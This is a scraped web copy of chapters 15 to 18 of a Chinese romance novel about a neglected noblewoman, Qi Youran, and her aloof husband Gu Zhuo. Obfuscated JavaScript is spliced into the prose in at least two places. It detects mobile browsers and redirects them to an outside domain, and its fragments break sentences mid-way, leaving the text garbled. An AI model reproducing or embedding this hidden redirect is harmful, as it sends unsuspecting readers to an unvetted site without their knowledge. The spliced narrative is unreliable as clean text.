她麻木地看着父母脸上那丑陋的、油腻腻的笑。 他们惯是好吃懒做的，此刻却显出罕有的卖力。 “行了，一百个铜板。”老鸨不耐烦地睨着他们。 “诶，谢谢谢谢。”那笑容更深了，几乎要挤出脓来。 “她叫什么？” “二……”父亲脱口而出，又猛地噎住，浑浊的眼珠转着，仿佛怕这贱名污了耳朵，折了刚谈妥的身价。 还是弟弟想到了什么，伶俐地接话：“她叫莺莺！” “对……天宝说得没错，她叫莺莺……叫莺莺。” 顷刻间，一股恨意挟住了她，她突然爆发出一股力量，挣脱住束缚，狠狠地扑上去掐住那个小畜生的脖子。 细嫩、雪白、温热的脖子，被她死死攫住。 只需要一点蛮力，便能将它折断。 原来掌握一条命也可以如此简单。 她的父母霎时慌了神，旋即暴怒地扑上来撕打她。 她已经记不太清当时混乱的场面了，只记得一声厉喝，一袭人匆匆闯了进来。 脚步声像密集的锣鼓点，骤然改写了戏台上小人物的全部悲欢。 ——那块辗转的玉，揭示了一个秘密，她是相府流落在外的千金。 它完成了一件器物冰凉的责任，兜兜转转，再次回到了她手里。 多么惹人欢喜的剧本啊！有种苦尽甘来的爽利感！ 四面八方的目光，有惶恐的，有欣羡的…… 她茫然地眨了眨眼睛，只想跑到阿姐身后缩起来，却发觉自己无人可依、无处可躲，连蔽体的衣服，都在拳打脚踢中扯烂。 哪里是相依为命的藤蔓，她明明是菟丝子，寄生在阿姐身上，汲取生的养分，直到宿主慢慢枯死。 眼下，她没了依靠，在磅礴的命运面前，沉浮如砂砾，冲向未知的陌路。 十岁那年，她认祖归宗，重享荣华；十岁那年，她痛失亲眷，难言悲恸。 . 一只手轻轻覆上了她的眼睛，慢慢拭干她眼睫的晶莹。 生疏、笨拙，却珍重。 ……阿姐？ 晃神的片刻，口中却弥漫着苦涩。 她孩子气地吸了吸鼻子，去抓住那只手。 那只手微微颤了颤，惶然、讶异，又克制地不再动作。 终是静静由她握着了。 祁悠然迷迷糊糊地挣开眼睛：“……怎么是你？” 15. 微澜（顾濯视角） 顾濯离了那笙歌未歇的宴厅，随着人流踱到园子里。 寒风是带了钩子的，将衣袍撩拨，也钩起了指尖上那一点顽固的微温。 方才碰到祁悠然手腕的那点烫，挥之不去。 瘦了太多…… 这念头无端端地冒出来，像一根细小的针，轻轻扎了他一下。 他下意识地蜷了蜷手指，那点暖意便瑟缩着，被他冷淡地压了下去。 他面无表情地垂下眼睛，一丝不苟地抚平袖口的褶皱。 指尖的力道如同在切割一段多余的、恼人的情丝。 只是，适才离开时脊背上烙着的那道目光，未免太炽了些，白晃晃的日光下，险些烧得他心神都起了毛边。 他敛起思绪。 周遭的打量，带着探询与了然，密密匝匝地落在他身上，拂不去，挣不脱。 他与祁悠然、温颜之间那团乱麻似的旧事，早成了这京城里一桩半明半暗、供人咀嚼的谈资。 温颜是省心的，冷静，自持，懂得何时该沉默，何时该退场。他们是如出一辙的同类。 然而……祁悠然呢？ 她是否也陷进了眼前这滩浑水？ 又陷得有多深？ 顾濯心中并无定论。 但去看一眼，处理妥当，也是好的。 她向来把七情六欲都明晃晃地摊在脸上，像捧着一炉烧得正旺的炭火，热烘烘地、不管不顾地要递给你，全然不顾那火舌会舔舐了谁，抑或烧穿了精心布下的罗网。 这般的感情用事，落在眼下这步步为营的棋局里，实在是个叫人头疼的变数。 毕竟她搅动起来的风浪，泼洒得全无章法，从来都不在计划之内。 顾濯立在廊下阶前，望着满园被风揉碎的梅影，心底那点被祁悠然目光燎起的格格不入的微澜，终究还是沉了下去，沉得只剩一片冰冷的算计。 该修剪的枝蔓就该及时剪除，该扑灭的星火也绝不能任其蔓延。 她的那点痴缠，在此刻，倒显得多余而累赘了。 人总是吵嚷着往热闹处钻，湖边渐渐便汇拢起一层稀薄的人墙，嗡嗡营营。 顾濯只立在人群外围，不远不近，像一道沉默的影子，倒也不显得突兀。 湖边，正上演着一出蹩脚的“英雄救美”戏码。 只是那男子看见救上岸女子的面庞时，却变了脸色。 誉王，方贵妃那不成器的儿子。 母亲那点稀薄的聪明才智，全没遗传到的儿子。 刚愎自用，胸无城府，实打实的绣花枕头。 这湖边的风月把戏，顾濯只需略略一扫，便不难猜到他那点不足挂齿的好算计。 无非是设计让温颜入水，自己英雄救美，众目睽睽之下有了肌肤之亲，那御赐的姻缘便是顺水推舟。而他，也能将温丞相收拢到自己麾下。 眼下捞上来的，却是那推人下水的侍女，水鬼似的，湿淋淋地滴着水，在明晃晃的日头下无所遁形，狼狈且畏缩。 誉王僵在那里，连面上仅存的那点金玉其外的体面也挂不住了。 白忙活一场。 还得罪了丞相。 平白给太子递了把现成的刀。 将闹剧尽收眼底后，顾濯肩头几不可察地松懈下来，眼中泄出连他自己都不曾发觉的轻松来。 若是让祁悠然瞧见了眼前这出塌台的闹剧，指不定要怎么拍手笑出声来——她一贯是欢喜于这些荒唐场面的。 此刻应是弯了眼睛，捂着肚子笑跌在椅子上，吐出些刻薄话来。若是簪着她最喜欢的那支白玉簪，玉的莹润便会在鬓边泛出泠泠弧光，若是挑了件寻常的钗子，那细细的流苏便会簌簌地抖着，发出细碎又恼人的声响，仿佛在替她笑得打颤。 顾濯的嘴角，像是被那想象中的画面轻轻扯动了一下，牵起一丝极淡、极短的弧度。 今日她发间簪的，似乎正是一支点翠穿珠的流苏钗。 戴过的次数不多……却很衬她那跳脱的、不管不顾的性子。 思绪飘摇，竟就飘到了这不相干的事情上。 那点微末的笑意尚未漫至眼底，便倏地冻住了。 实在来得突兀，又去得仓皇，只留下唇边一点僵硬的痕迹，很快便被那惯常的冷硬神色覆盖得无影无踪。 此刻，温颜却是闲闲踱步向众人而来。 解释说是随身带着的药瓶摔了，收拾起来费了点时间。 她带着一点恰到好处的惊讶，在得知事件“来龙去脉”后，对着那窘迫的誉王，绽开一朵温婉得体的笑容，对他的“及时援手”表达了诚挚的谢意。 至于该怎么“感谢”，那是后话了。 依温颜的性子，谢礼，横竖是要教人终生难忘的。 顾濯冷眼看着那场闹剧草草收场，面上纹丝未动。 今日他的举动或许会惹争议，但他不在乎。给深宫里多疑的帝王递些耽于请事、优柔寡断的话柄，也能少些烦人的试探。 思绪如同游丝，在穿堂而过的风里飘了飘，便断了。 祁悠然此刻在厅内会做什么呢？ 郁闷地盯着糕点，一块接一块填进嘴里，腮帮子微微鼓起？还是托着腮，百无聊赖地听着丝竹，眼神飘向虚空？ 回去以后要怎么做？赔个不是？还是哄哄她？ 他分神想着，心头浮起困惑，却并不厌烦这种感觉，反而带着一丝隐秘的痒意。 回到殿内，喧嚣依旧。 桌案上徒留一块芙蓉糕，突兀又伶仃。 合该坐着摆出千姿百态的人，没了踪影。 像是走了很久，但又像刚刚离开。 顾濯皱起了眉。 又任性妄为了。 他心尖上泛起一点焦躁，如同被火星燎了一下。 笙歌管弦不息，炭火带来的暖意热烘烘地黏在皮肤上，令他生出些许不快来。 烛台规矩摆在一处发着亮，带着死物的刻板。 帝后讲着些无用的体己话，烛火漏出举案齐眉的影子，晃晃然一抖，便变了样。 “世子今日怎么独自一人？郡主呢？”皇后不经意扫过顾濯身侧空荡荡的席位，带着笑冷不丁问起。 “她身体抱恙，便先行告退了。”顾濯声音平稳。 “倒是随性惯了。”皇后笑意未减，一番话意味不明。 殿内空气凝了一瞬，各色目光试探着附过来，又慌忙移开。 所以她方才的心虚，是因为外出那一趟招惹了皇后？ 罢了，皇后这点道行，也不过是一尊镀了金的泥胎小像，摆在高处，占着香案，乍看之下金碧辉煌，唬得住人。可那金箔是虚的，经不起细瞧，更经不起推敲。他应付起来不难，招惹便招惹了罢…… “御前失仪，请陛下责罚。”顾濯离席，在殿中跪下。 他面色凝重，通身气息沉静，锋刃尽藏。 殿内一派死寂。 “皇后，你今日话有些多了。”帝王撩起沉沉的眼皮，看了身侧的妻子一眼。 皇后笑意僵在嘴角，噤声了。 此事便被轻轻揭过。 这庙里的像，哪里比得上人重要？ 人若生了气，心不如意，香火便断了，供案便空了。 权力无声的倾轧下，端坐在上的神像，又能做出什么来呢？ 不过是眼睁睁看着自己落败，金漆剥落，露出底下不堪的泥胎。 顾濯不动声色地看着高座上的帝后，在心底无声地盘算着局势。 誉王今日举动大胆，太子近来动作一样不小。 誉王的蠢动，太子的锋芒，还有那些蛰伏暗处的皇子们……龙椅下暗流早已汹涌。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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……不过想来开春了，院子会很漂亮。蜂蝶飞舞，流水潺潺。 祁悠然会在哪？ 顾濯步履未停，在一处屋前止了步。 他看了眼江烨：“在外面候着。” 接着，他推门而入。 屋内，原本是一个活人，四个牌位。 因着他的闯入，邀来了一束莹莹的月光，倒是将寂然的黯淡拂去了几分。 祁悠然蜷缩在地上，小小一团，嘴里絮絮说着些什么，一向舒展肆意的眉头此刻紧蹙着。 与印象里截然相反的模样。 她又是这样，把自己折腾得奄奄一息。 平日里还总把“不得好死”这些话挂在嘴上。 ……实在给人添麻烦。 顾濯皱眉，却默默松了口气。 他走上前去，指尖带着夜气的寒凉，迟疑地、极轻地探向她的额头。 怕那点凉意惊扰到她，他克制地止了动作，手指悬着，只隔着一线虚空，轻轻触到了脸上那层细软的绒毛。 指尖一颤，他收回了手。 发热了。 心口留下一点鲜明而微弱的灼痛，搅扰了那片冰封的平静。 怎么办？……要唤她起来吗？还是……可以抱她？ 顾濯僵了一瞬，这个趁人之危的念头一经浮现，便难以压下。 他的心，并不磊落地、沉沉地跳了两下。 犹豫了一阵……或许并没有很久，只极快的一瞬，他解下身上的玄色大氅，带着他残余的体温，覆上她单薄颤抖的身躯。 他俯身，手伸过她单薄的背脊，掌上是她呼吸的吞吐，一起一伏，都像是烫着他。 他的心也跟着那灼热的气息仓皇地紊乱。 他强迫自己别开脸，目光投向虚空里某个冷硬的角落，不敢看她近在咫尺的面容。 动作间的力道，却泄露了连他自己都未曾察觉的、近乎虔诚的珍重。 终究还是没忍住。 他垂下晦涩的眼，目光饮鸩止渴般落在怀中人苍白的脸颊上。 ……竟是比他想的还要瘦。 像一捧随时会被风吹散的雪。 16. 喂药 “……”顾濯垂眸，看着两人交握的手，没有说话。 祁悠然的手比起他的，实在显得小。 饶是这般任她安安稳稳抓着，却并不能严丝合缝地包裹住。 她握得很认真，只是那力道带着悲哀与迷茫，是虚浮的，指腹搭着他的半只手，并不痛。 不过想来她应是使了些力气的，不然他又为何会挣不开？ 她指尖那点的冷意，便在他手下，顺其自然地传递了过来。 太凉了，凉得发烫。 他竟希望她能抓得久一些。 这是个再无私不过的善良想法。 ——她的指尖实在冰冷，饶是屋内炉火正旺，那点物什的暖，终是抵不过活人几肤相贴时，那点微末却真实的、带着仓惶心跳的温热。 但当祁悠然意识清醒后，她倏地松开了手。 毫无留恋。 那点纠缠的凉意，蜻蜓点水般离去。 像消融的雪，自檐下滴落。 也是这放手的瞬间，祁悠然掌心那道伤口的结痂，自顾濯平滑的手侧擦过。 粗糙、突兀的感觉，在他心上挲摩，平白让心口瑟缩了一下。 她眼中的微光被清醒地揉碎，反倒是失落与窘迫颤巍巍晕开，烛火下的眼睛水汪汪的，令顾濯心生不忍。 他若无其事将手收回去：“醒了便喝药吧。” 声音沉静，听不出半分波澜。 祁悠然没有说话，只是飞快地、掩耳盗铃般拭了拭眼角。 那动作带着一种近乎稚拙的狼狈，反而将那点强行伪装的平静衬得摇摇欲坠。 顾濯看着她红肿的眼睛，终究是体贴地没有说话。 两人心照不宣地对刚才那场无声的交握闭口不提。 屋内静悄悄的，空余炉火毛躁地发出些许噼啪声。 顾濯将药碗端来。 动作间他似是顿了顿，随后若无其事地用勺子舀起药，小心翼翼地凑到祁悠然嘴边，带着一种罕见的、近乎笨拙的审慎解释：“你那只手还伤着。” 祁悠然却将他的停顿当作了勉强，抬起眼帘，面无表情地看着他。 这是知道温颜落水的真相，生出了心虚和愧疚，才特意来施舍这点迟来的、带着补偿意味的温情吗？ 他可真是好心，哪怕不情不愿，也还是来安抚她。 ……那是不是说，他也是有一丝在意自己的？ 真是可笑啊，明知是一点歉意的补偿，她的心，竟还是不争气地、狠狠地颤栗了一下，滋生出受宠若惊的甘甜。 而她竟无法扼杀这荒谬的、燎原的喜悦。 饶是心中波澜起伏，她面上没有说话，只是微微垂下眼帘，带着一种近乎认命的驯顺，凑了过去。 还未碰到唇边，顾濯的手却毫无预兆地一松，勺子当啷一声跌回碗中，溅起几滴药液，蹦在祁悠然脸上。 祁悠然：“……” 顾濯：“……” 祁悠然抬手，这次是真真切切、带着点恼意地抹去了那点实实在在带着余温的污迹。 怎么？终究是忍受不了她的凑近，恶心盖过了良心？ 生病了竟是承受力也比往日弱了几分。 她的鼻尖委屈地酸了，眼里的水汽重了些。 顾濯别开目光，声音透出些紧绷来：“药……有点烫，你喝之前先吹一吹。” 理由倒是冠冕堂皇。 勺子再一次送到了祁悠然嘴边，她垂下蝶翼般的睫毛，认命地对着那勺浓黑，敷衍地轻轻吹了口气。 那姿态，却透出些乖巧。 顾濯的心，跟着那被微弱气息吹皱的药液，微微晃了晃。 祁悠然重复了两下，便不再动作了。 药太苦了，他果然是带着目的来的，这般一口一口送到她嘴边，竟还要她吹几下再接着喝一口，喝下去的那点苦在吹的时候凌冽、满当、霸道地弥漫在舌关，还未消散，便又被吹凉的药液送进来。 真是歹毒。 她整张脸皱起来，在硬着头皮享受虚假的温柔体贴和狠心提前结束这折磨般的喂药之间，不争气地选择了后者。 实在是太苦了。 比她这绝望的爱情还苦。 她几乎是带着一股同归于尽的狠劲，猛地探身，一把夺过顾濯手中的碗，想着把药一口灌下。 嘶……好烫！ 那碗药，在她手中剧烈地晃荡了一下，随即倾覆。 一些洒在她手上，一些洒在被子上……还有一些洒在了顾濯身上。 祁悠然后知后觉地发现，顾濯……竟是直接坐在了她的床沿。 被子迅速洇开一片深褐色的、丑陋的污渍，顾濯的衣袍也留下触目惊心的湿痕。 她好像……又搞砸了所有事。 顾濯显然也愣住了，兀地站起身，全然顾不上自己衣袍上的污迹。他一把抓过祁悠然因烫伤而泛红、微微颤抖的指尖，声音带着一丝他自己都未察觉的急迫：“手指……可烫着了？”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860272|175983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 此刻，他的整只手也是滚烫的，乍一下贴上来，祁悠然只觉得指尖一麻，竟一时分辨不清这缭乱的滚烫，究竟是源自他掌心，还是自己皮肉上那点新添的、火辣辣的痛楚。 那点泼溅而出的、浓黑苦涩的药汁，也随之攀附上他原本洁净的指尖，黏腻地、不分彼此地骄融着，竟生出一种病态的、同流合污的错觉。 她怔然片刻，指尖微微痉挛着，陷在这片缱绻的虚妄里。 她看向顾濯的手，白皙的皮肤被方才的混乱与热意熏蒸着，透出一种暖玉般的、半透明的嫣红，光晕流转，仿佛上好的羊脂玉。 在摇曳的烛火下，那只手骨节分明，修长干净，连指甲都修剪得圆润无瑕，透着一种刻在骨子里的、金尊玉贵的得体。 和温颜那双养在深闺、不沾阳春水的柔荑，如出一辙。 真是……比她的好看太多了。 一股混杂着自卑、刺痛与更深邃悲哀的苦涩，顺着指尖的脉络，一路逆流而上，直直呛进心口，带来一种近乎凌迟般的窒息感。 阴暗、潮湿的念头如苔藓般附着在她心上。 这云泥之别，原来连一双手，都昭示得如此清晰而残忍。 泼洒的药汁挥散在空气里，方才入口的横行在舌尖。 她被这里里外外、无孔不入的药气腌渍了个透，以至于反应都迟钝了。 一时间忘记了挣开顾濯的手。 倒是顾濯率先反应过来，松开了抓着的手指：“……我去叫人那些烫伤药来。” 声音沉了沉，试图压住那点不自然的尾音。 他目光扫过洇湿的被褥：“你先忍忍罢，一会让人换了。” 祁悠然迟缓地眨了眨眼。 她是烧糊涂了吗？竟从顾濯干巴巴的话语里听出了一丝软和的温柔。 这念头荒谬得如同口干舌燥时尝到了甘霖，让她心头那点死灰，不争气地、微弱地闪了一下。 起码，他今天是爱过自己的。 她虚妄地想着。 不需要自圆其说，她向来是胡为乱信、断章取义的。 甘之如饴地沉溺于自己亲手纺就的、脆若蝉翼的谎茧里。 算是苦中作乐的顶顶好手。 因着这点零星细碎的甜，她久违地静了心。 终是抵不住袭来的困意，她终于沉沉睡去，像一叶被风浪撕扯得筋疲力尽的小舟，无知无觉地搁浅在这片由药味、谎言与那点微末暖意共同编织的、短暂而脆弱的港湾里。 17. 负约 是夜，雪又窸窣地落将下来。 起初，倒也下得斯文，只是后半夜，呼啸的北风失了魂似的，在空旷的街巷和庭院里横冲直撞，蛮横地扯着雪粒子呼哧乱转。 一连多日的风雪，霸道地涂抹着晴天残留的痕迹，也将一些尚未厘清的情绪、似是而非的念头不由分说地囫囵掩埋了去。 白茫茫的铺排，权作了人心里那点暧昧情愫的遮羞布。 祁悠然蹙着眉，将最后一点药汁灌下。 那苦味立刻扒住了舌根，又麻又涩。她几乎是带着一种追逃的狼狈，匆匆拈起一枚蜜渍梅子塞进嘴里，让那甜得发腻的突兀滋味去驱赶那股顽固的苦涩。 也只有这时，她才会觉得稍微认同一点顾濯嗜甜的爱好。 夏瑾捧着一盆开得正闹的水仙走进来，花瓣莹白，嫩黄的蕊心怯生生地探着，却又带着点不自知的欢欣。 她瞧见祁悠然那副被苦味追赶得手忙脚乱、又因甜味骤然得救而微微眯起眼的模样，不禁“噗嗤”一声笑了出来。 大病初愈，祁悠然的脸色久违地透出些红润，夏瑾乐得看她此刻的生动模样，笑意驻留在了脸上。 “郡主闲来无事，要不要剪些窗花？”夏瑾将水仙安置在窗边小几上，那幽幽的冷香便丝丝缕缕地散开。 祁悠然含着那颗梅子，腮帮子微微鼓起，闻言愣了愣，随即摇头：“我一向不擅长这些。” 那些描红剪纸、穿针引线的灵巧活计，她是七窍通了六窍。便是手没伤着之前，也如同笨拙的孩童，总显得格格不入，更遑论如今了。 不过看着窗边的生机，祁悠然的心情也松快几分。 “算起来，”她含糊地嘟囔了一句，声音被蜜饯浸透，有些发黏，“明儿个便是除夕了。” 她对过年一向没有什么感觉。 幼时阿姐会藏些荤腥，也会用偷攒下的钱给她买绒花。 用的是粗糙的丝线扎成，颜色俗艳得扎眼，却硬生生被阿姐别在她枯黄的鬓角，她嘴上说着嫌弃，却也忍不住弯起了唇角。 那点颜色，便成了灰暗年节里唯一一抹跳脱的暖。 不过那暖意，是偷来的，也带着偷来的惊惶与短暂。 不慎被发现后，便是鸡飞狗跳的盘诘、锱铢必较的清算，将那点年节的微温彻底碾碎，只剩下地上扯坏的绒花和鸡零狗碎的难堪。 后来在相府深宅，过年便成了一场死气沉沉的仪式。一桌按规矩摆得满满当当、冷冰冰的席面，连舌头也跟着麻木了，吃得如同嚼蜡。 至于嫁到侯府，更是各过各的——顾濯去祠堂，而她便在城南的院子里陪着“家人”。 年节于她，也不过是账册上多出的几笔庞大开销，是库房里需要清点的物件，是下人脸上掩饰不住的欢愉。 也唯有在操持府内事务的间隙，她对着那年末账本，听到噼里啪啦的鞭炮声，才会从那密密麻麻的数字里恍然抬头，哦，原来一年光阴，又这样无声无息地结束了。 喜气都是旁人的，与她隔着千山万水。 ……那今年呢？ 她是否可以，奔过那千山万水，赴一场她从不曾真正靠近过的热闹？ 她是否可以，光明正大地、哪怕只沾上那么一小点，别人唾手可得的、过年的喜气？ 雪粒子依旧沙沙地敲打着窗棂。 祁悠然心头这点不合时宜的妄念，竟如同被雪水浸透的种子，非但没有冻死，反而在冰层下，怯生生地、不管不顾地顶开了一点坚硬的冻土，探出一点芽尖。 她几乎是凭着一种连自己都觉陌生的莽撞，在回廊转角猝不及防遇见顾濯时，脱口而出：“……我们……大年初一……”话一出口，她便有些懊悔，指尖下意识地蜷进掌心。 她飞快地垂下眼，不敢看他，只盯着他衣袍下摆，声音低得像雪落：“……一起……吃顿年夜饭？” 空气凝滞了一瞬。寒风卷着雪沫从廊下掠过，吹得檐角铜铃发出泠泠清响。 顾濯的目光落在她低垂的、乌黑如墨的发顶上。 “好。” 只一个字。 祁悠然却像被这单薄的音节烫了一下，她含糊地、几不可闻地“嗯”了一声，仍旧不敢看他。 但心里那棵刚刚破土的、瑟瑟发抖的嫩芽，却开出了一朵小花。 趁着采办年货的些许空隙，祁悠然脚步一拐，竟鬼使神差地踏进了红绡楼的门槛。 楼里也染了些许年节气象，窗上贴着俗艳的窗花，空气里浮动着脂粉与糕点的甜腻香气，只是那热闹也带着一种挥之不去的风尘倦怠。 “过年好。”几包油纸裹着的、散发着腊味与糖霜气息的年货，略显突兀地堆放在纤尘不染的小几上，显得格格不入。 秦婳一愣，目光微动，朝她盈盈一笑：“过年好。” “郡主今日过来，可要听曲？” 祁悠然摇摇头，她随手拿起一块糕点，心不在焉地咬了一口，她含糊地、像是被那口点心噎着了似的，挤出一句：“如果……我有一个朋友……跟她夫君一直不冷不热，近来他们关系破冰了，怎么可以维持现状？” 秦婳眉梢一挑，目光复杂地看着她：“亲手烹饪些菜肴，或者做些随身的物件表示心意吧。” 亲手烹饪？随身的物件？ 祁悠然皱了皱眉，纠结了一番，还是应下：“好。” 临走时，却见一穿着粗布短袄的男子在纠缠一姑娘。 那姑娘，一张俏脸气得煞白，眼里噙着泪，又惊又怕，徒劳地挣动着。 “怎么回事？”祁悠然声音不大，却带着一股天然的冷峭。 那短袄男子见她衣着不凡，被她不怒自威的神色惊得一愣，讪讪松了手。 那双沾着泥灰油污的手，还是在姑娘干净的衣服上留下了污渍。 秦婳皱眉，声音带着倦怠和厌恶：“后院的青石板路坏了有一阵了，每每走过，鞋子都乌糟糟的，好不容易请了工匠来修，玉烟这傻丫头，瞧着天寒地冻，好心端了碗热汤给那厮暖暖身子……” 她自嘲一笑：“谁知这好心倒成了引狼的饵，真是讽刺，世间的不公，怕是九成都落在了女子身上。” 风雪的寒气扑在脸上。 祁悠然的目光落在秦婳那张即便在怒意中也难掩风情的侧脸上，忽然开口：“要我为你赎身吗？” 秦婳猛地一震，还未回应，却见一锦衣男子醉醺醺过来：“什么人敢来小爷我的地盘撒野？” 他一边打着酒嗝，一边蛮横地伸出手，箍住玉烟瑟瑟发抖的腰肢，将她强行拖拽入怀的同时，踹了那粗布短袄一脚。 那工匠吃痛，“哎哟”一声踉跄倒地。心知是惹不起的权贵，权衡只在瞬息，他脸上那点纠缠时的无赖劲儿瞬间褪得干干净净，只剩下一片惊恐的灰白。他连滚带爬地撑起身，连身上的泥灰都顾不得拍，像只受惊的老鼠般，眨眼便不见了踪影。 锦衣男子挑着眉，露出一个胜利的得意笑，轻佻地勾了勾玉烟的下巴：“小美人别哭啊，笑一个，哄得爷心头舒坦了，爷便……” 冷不丁看见祁悠然，他僵了一瞬，那轻浮的调笑戛然而止。 倒是祁悠然勾起嘴角：“裴公子，当真是……好兴致啊。” 玉烟赶忙趁他愣神的间隙溜了，裴朔倒也不恼，仿佛刚才搂抱的不过是件可有可无的玩意儿。 他浑不在意地寻了处大大咧咧地坐下。那身华贵的锦袍被他揉搓得如同咸菜，领口肆意扯开着，露出颈间的红痕，显出几分荒诞的颓靡：“郡主怎么又来这红绡楼了？跑来偷师闺中秘术了？那晏川艳福不浅呐！” 祁悠然冷冷看他，有时候真不太理解顾濯那样一个冷得像冰、剔透得像玉的人，怎会容忍这等污糟烂泥般的货色，沾惹在身边，还冠之以“友”字？ 她甚至懒得再费一句唇舌去驳斥这滩烂泥的污言秽语。 她拿起一块糕点，狠狠掷在裴朔脸上，也不想再看一眼这醉汉的轻佻神色，转身离开。 裴朔猝不及防，被砸得闷哼一声，醉醺醺的脑子更懵了，怔怔地看了一会儿祁悠然。 临走前，祁悠然顿了顿，朝着秦婳开口，语气带着一种近乎自剖的坦率，冰冷而清晰：“我不是个好人，方才那话，不过是临时起意，发了点自己也觉稀罕的没头没脑的善心。” 风雪卷起她鬓边的碎发，扑打着她的侧脸，她微微抬了抬下颌：“但，算数。” 秦婳垂下眼，遮住了所有翻涌的情绪，轻轻地、迟缓地摇了摇头。 风雪更大了些，将祁悠然离去的身影彻底吞没。 一日后，风雪终于显出几分倦怠，将天地间那口紧憋着的气，松松地吐了出来。 屋内，灶膛里的火苗跳跃着，映着祁悠然略显紧绷的侧脸。 案板上摊着个面团，揉得不够匀称；一碗馅料，颜色也深浅不一。 她那双平日里拨弄算盘的手，此刻捏着一小张擀得边缘厚薄不均的饺子皮，显得笨拙而生硬。 她将皮子谨慎地托在掌心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860273|175983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，用竹片挑起一点馅料，小心翼翼地放在皮子中央，照着夏瑾的说法，尝试将两边的皮子捏合。 手指的力道总是拿捏不准。不是捏得太松，露出一点馅料的颜色，像是咧开一道尴尬的缝；就是捏得太紧，将薄薄的皮子生生掐断，留下一个难看的豁口。 好不容易，一个勉强能站立的、形状古怪的饺子瑟缩在掌心。 祁悠然将它轻轻放在撒了薄面的竹屉上。 那饺子歪斜着，皮子皱巴巴地堆叠在一起，边上还蹭了点油汪汪的馅汁，活像一个刚在泥地里打过滚、又被人随手拎起的丑娃娃，脸上还糊着鼻涕眼泪似的油光。 她微微蹙起眉头，困惑地打量着这个“成果”。 灶火的光在眼里跳，却带不动那点淡淡的迷茫。 这团被赋予“团圆”之名的面疙瘩，在她手中，似乎总也揉捏不出旁人信手拈来的、那份温润妥帖的圆满。 她不是个喜欢半途而废的人，饶是无法得心应手，也凑合着将饺子包完。 忙活了好一阵，锅碗瓢盆的碰撞声，炉火的噼啪声，下人小心翼翼的脚步声，在这冷寂的侯府里，竟也交织出一种奇异的、带着烟火气的喧腾。 天色一点点暗沉下去。檐下的灯笼次第亮起，在寒风中摇曳着昏黄的光晕，将窗纸上新贴的、略显歪扭的窗花剪影拉得老长。 祁悠然在桌前静静等待着。 心口的小花兀自摇曳。 她看着躺在碟子里的饺子，虽形态不甚好看，但料子下得很足，鼓鼓撑着胖乎乎的肚皮，姿态安适，甚至带着点理直气壮的憨傻气儿，朦胧的光晕下倒也显出几分憨态可掬。 她越看越满意，忍不住轻轻勾了勾唇角。 顾濯看见这碟吃食时，会作何反应？ 拿起筷子，戳破那鼓胀的饺子皮时，滚烫鲜香的汁水会不会烫到他的指尖？ 那混合着肉香、荠菜清气和猪油渣特有焦香的滋味，能不能……给他留下一点点……属于她祁悠然的烙印？ 她甚至无意识地用指尖轻轻敲了敲桌面，那细微的声响，竟也带着一丝隐秘的、按捺不住的雀跃。 而当她不知第几次抬眼望向那紧闭的门扉，桌上菜肴早已失了那股活泛的热气，表面渐渐浮起一层细小的、浑浊的油花，如同美人迟暮眼角晕开的残妆，透着一股颓败的腻味。 徒留一点微温苟延残喘。 祁悠然眼皮跳了跳。 她下意识地抬手，用微凉的指尖按了按那不安分的跳动。 顾濯或许有什么事耽搁了。 这念头带着一丝自我安慰的暖意，试图包裹住心口那朵在寒风中瑟缩的小花。 然而，心底深处，那朵脆弱的小花却仿佛感知到了什么，花瓣在风里颤抖得更加厉害。 直到时间一点一点流逝。 一桌用心备下的菜肴，完全失了热气。浮起的油花凝固成点点蜡黄的斑点，死气沉沉地贴在菜肴冷硬的表面上。 心上的花朵停止了颤抖，零落成泥碾作尘，连香气也消失殆尽。 夏瑾悄步进来，欲言又止。她默默地走到灯台边，拿起细长的银签，动作轻柔地剔了剔已然黯淡的烛芯，又添了些许灯油。 祁悠然看着夏瑾心疼的目光，自嘲地笑了笑：“我吃穿不愁，甚至称得上锦衣玉食。现下，不过是为了那点子镜花水月般、抓也抓不住的情情爱爱，坐在这里矫情地发愁罢了。” 她微微歪了歪头，仿佛在认真审视自己这“愁”的份量，语气轻飘飘的：“不必为我难过的。” 一番话，似是宽慰夏瑾，又像是讲给自己听。 只是，目光掠过桌角那碟被遗忘的饺子时，祁悠然那点强撑的冷峭瞬间被戳破。 它们静静地、唯唯诺诺地躺在那里，像无声的嘲讽，嘲笑着她的等待，嘲笑着她这点笨拙的、不合时宜的心意。 橘黄色的火苗挣扎着向上窜了一下，随即，烛芯发出一声短促而清晰的“噼啪”爆响。 祁悠然猛地站起身，带得椅子腿在地上划出一道短促刺耳的锐响。 “走。”她声音不高，却带着一种破釜沉舟的冷硬。 “去找他。” 这三个字，掷地有声，带着一种近乎悲壮的放刁撒泼。 她几步走到案边，看也不看，伸手就将那些个形状古怪的饺子胡乱拨进一个食盒里。动作粗鲁，带着一股发泄般的狠劲。 今儿个，就是塞，她也要将这亲手包的饺子塞进顾濯嘴里。 18. 苦饵 祁悠然在寒夜里走着，手里提着那只食盒。 指尖早已冻得麻木，失了知觉，她浑不在意，只将嘴唇抿得极薄、极紧，绷成一道直线，脸上凝着寒霜。 